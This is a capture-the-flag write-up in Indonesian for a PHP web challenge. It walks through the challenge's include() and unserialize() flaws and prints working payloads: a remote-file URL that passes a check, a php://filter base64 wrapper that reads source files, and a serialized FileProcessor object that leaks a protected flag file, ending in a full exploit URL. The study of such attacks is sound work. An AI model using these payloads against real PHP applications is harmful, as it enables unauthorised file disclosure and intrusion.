Disini kita diberi sebuah link yaitu http://167.99.94.176:8009/
Saat membuka link tersebut maka akan tampil gambar blue eyes white dragon(yang pernah liat yugi oh pasti tau wkwkwk :v) dan juga tulisan seperti berikut.
Hey, you didn’t supposed to be here, please get out!!!
Tell me your secret word
Hal yang perlu kita lakukan adalah melihat page source dari web tersebut,barangkali ada sesuatu disana hehe…
dan ternyata benar,terdapat beberapa baris code yang di comment pada halaman tersebut.
$filename = $_GET[“file”];
$user = isset($_GET[“user”]) ? $_GET[“user”] : “hacker”;
$secretword = $_GET[“secretword”];
if(file_get_contents($user,’r’)===”please let me in master gblq1337″){
echo “Welcome Back, My Master!!!”;
include($filename); //class.php
}else{
echo “
Hey, you didn’t supposed to be here, please get out!!!
“;
echo “Tell me your secret word”;
}
Alasan mengapa keluar kata kata diatas(saat membuka web tersebut) terlihat jelas pada sorcode diatas.
Yang perlu kita perhatikan pada sorcode diatas terdapat 3 variable yang memperoleh input dari $_GET,yaitu $filename,$user,dan $secretword.Untuk menghasilkan kondisi true pada if condition maka kita harus memuat file yang berisi “please let me in master gblq1337” pada variable $user.
Caranya cukup mudah , kita hanya perlu menambah file pada pastebin yang isinya please let me in master gblq1337.Setelah membuatnya kita gunakan file tersebut dalam bentuk raw seperti berikut.
http://167.99.94.176:8009/?user=https://pastebin.com/raw/1XFp8ALu
Maka akan keluar seperti gambar dibawah
Lah trus selanjutnya ngapain bhozqw?
Selanjutnya kita akan manfaatkan variable $filename,karena $filename berada di dalam include , fungsi include dalam php adalah untuk menyisipkan file php ke dalam file php lainnya.
Pertama disini saya menginputkan file=class.php akan tetapi tidak keluar apa apa,salah satu trik yang dapat kita manfaatkan untuk memanipulasi fungsi include adalah dengan wrapper.Dengan wrapper kita dapat membaca sourcode dari file tersebut.Disini saya mencoba untuk melihat sourcode dari index.php
Maka akan keluar output seperti berikut.
*gambar saya potong karena terlalu panjang hehe
Selanjutnya kita decode string tersebut.Hasil decode dari string tersebut seperti berikut.
Bluesky Dragon

$filename = $_GET["file"];
$user = isset($_GET["user"]) ? $_GET["user"] : "hacker";
$secretword = $_GET["secretword"];
if(file_get_contents($user,'r')==="please let me in master gblq1337"){
echo "Welcome Back, My Master!!!";
if(preg_match("/Th1S-1S-s3Cr3t-f1le/",$filename)){
die("Are you hacker???");
}else{
include($filename); //class.php
$pwd = unserialize($secretword);
echo $pwd;
}
}else{
echo "
Hey, you didn’t supposed to be here, please get out!!!
“;
echo “Tell me your secret word”;
}
?>
<!–
$filename = $_GET["file"];
$user = isset($_GET["user"]) ? $_GET["user"] : "hacker";
$secretword = $_GET["secretword"];
if(file_get_contents($user,'r')==="please let me in master gblq1337"){
echo "Welcome Back, My Master!!!";
include($filename); //class.php
}else{
echo "
Hey, you didn’t supposed to be here, please get out!!!
“;
echo “Tell me your secret word”;
}
–>
Kita fokus saja pada kode berikut
if(file_get_contents($user,’r’)===”please let me in master gblq1337″){
echo “Welcome Back, My Master!!!”;
if(preg_match(“/Th1S-1S-s3Cr3t-f1le/”,$filename)){
die(“Are you hacker???”);
}else{
include($filename); //class.php
$pwd = unserialize($secretword);
echo $pwd;
}
}else{
echo “
Hey, you didn’t supposed to be here, please get out!!!
“;
echo “Tell me your secret word”;
}
Terlihat pada potongan kode diatas terdapat comment yaitu class.php , mari kita coba melihat isi dari class.php.Berikut adalah sorcode dari class.php dalam bentuk base64.
PD9waHAgIA0KICAgICAgDQogICAgY2xhc3MgRmlsZVByb2Nlc3NvcnsNCiAgICAJLyoqDQogICAgCSAqIFskZmlsZW5hbWUgdmFyaWFibGUgdXNlZCB0byByZWFkIHRoZSBjb250ZW50IGZyb21dDQogICAgCSAqIEB2YXIgW3N0cmluZ10NCiAgICAJICogdGhpcyBmaWxlIG1heWJlIGhlbHAgeW91IDogVGgxUy0xUy1zM0NyM3QtZjFsZS5waHANCiAgICAJICovDQogICAgICAgIHB1YmxpYyAkZmlsZW5hbWU7ICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fdG9TdHJpbmcoKXsgIA0KICAgICAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGVuYW1lKSl7ICANCiAgICAgICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlbmFtZSk7ICAgICAgDQogICAgICAgICAgICB9ICANCiAgICAgICAgICAgIHJldHVybiAiX190b1N0cmluZyB3YXMgY2FsbGVkISI7ICANCiAgICAgICAgfSAgDQogICAgfSAgDQoNCg0KPz4gIA==
Hasil Decode :
filename)){
echo file_get_contents($this->filename);
}
return “__toString was called!”;
}
}?>
Kemungkinan flag terdapat pada file Th1S-1S-s3Cr3t-f1le.php namun pada index.php terdapat function preg_match yang mana jika kita menginputkan Th1S-1S-s3Cr3t-f1le maka akan dilakukan die.
Salah satu cara yang bisa kita lakukan adalah menggunakan deserialization pada variable $secretword dan juga memanfaatkan class.php
Berikut Deserialized parameter yg saya buat:
O:13:”FileProcessor”:1:{s:8:”filename”;s:72:”php://filter/read=convert.base64-encode/resource=Th1S-1S-s3Cr3t-f1le.php”;}
Dan ini adalah final payloadnya :
http://167.99.94.176:8009/?user=https://pastebin.com/raw/rHtrVQSR&file=class.php&secretword=O:13:”FileProcessor”:1:{s:8:”filename”;s:72:”php://filter/read=convert.base64-encode/resource=Th1S-1S-s3Cr3t-f1le.php”;}
Setelah kita menginputkan payloadnya maka keluarlah string dalam bentuk base64
ICAgIDw/cGhwICANCiAgICAvL0NURlN7VW5zZXJpYWxpemVfaXNfUkNFX0ZlYXR1cmV9DQogICAgPz4gIA==
Decode :
ORIGINAL REF:
https://tukangsempol.systems/2018/07/18/blue-eyes-white-dragon-ctfs-me/












